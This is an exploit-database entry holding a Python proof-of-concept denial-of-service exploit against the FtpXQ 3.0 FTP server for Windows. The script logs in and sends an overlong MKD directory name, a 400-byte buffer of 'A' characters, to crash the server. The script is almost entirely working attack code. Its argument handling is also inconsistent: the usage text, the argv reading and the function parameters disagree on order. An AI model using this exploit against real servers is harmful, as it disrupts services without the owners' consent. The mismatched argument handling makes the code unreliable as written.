FtpXQ 3.0 - (Authenticated) Remote Denial of Service

Author: Marc Doudiet
type: dos
platform: windows
port: 21.0
date_added: 2009-11-16 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comFTPXQ_Server_3.0.0.1.EXE

#!/usr/bin/python

banner=(
"*************************\r\n"
"* Exploit Title: FtpXQ authenticated remote Dos "
"* (trial on http://www.datawizard.net/Products/FtpXQ/Setup.EXE) Version 3.0.1 \r\n"
"* Tested on XP sp2 english"
"* Needs write access --> vuln on MKD command\r\n"
"* Vulnerability found by Marc Doudiet\r\n"
"* For educational purpose only\r\n"
"* Proof of concept code\r\n")


import socket
import sys

def Usage():
    print ("Usage: ./ftpxq.py <Username> <password> <host>\n")

string="A"*400

def start(username, password, hostname):
    	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print banner
    	try:
        	s.connect((hostname, 21))
		print "[-] Connecting to the FTP ..."
    	except:
        	print ("[-] Connection error!")
        	sys.exit(1)
	s.recv(1024)
	s.send('USER '+username+'\r\n')
	s.recv(1024)
	s.send('PASS '+password+'\r\n')
	s.recv(1024)
	print "[-] Sending evil buffer ...\r\n"
	s.send('MKD '+string+'\r\n')

if len(sys.argv) <> 4:
	Usage()
	sys.exit(1)
else:
	hostname=sys.argv[1]
	username=sys.argv[2]
	passwd=sys.argv[3]
	start(hostname,username,passwd)
	print "[-] Exploit seems to work"
	sys.exit(0)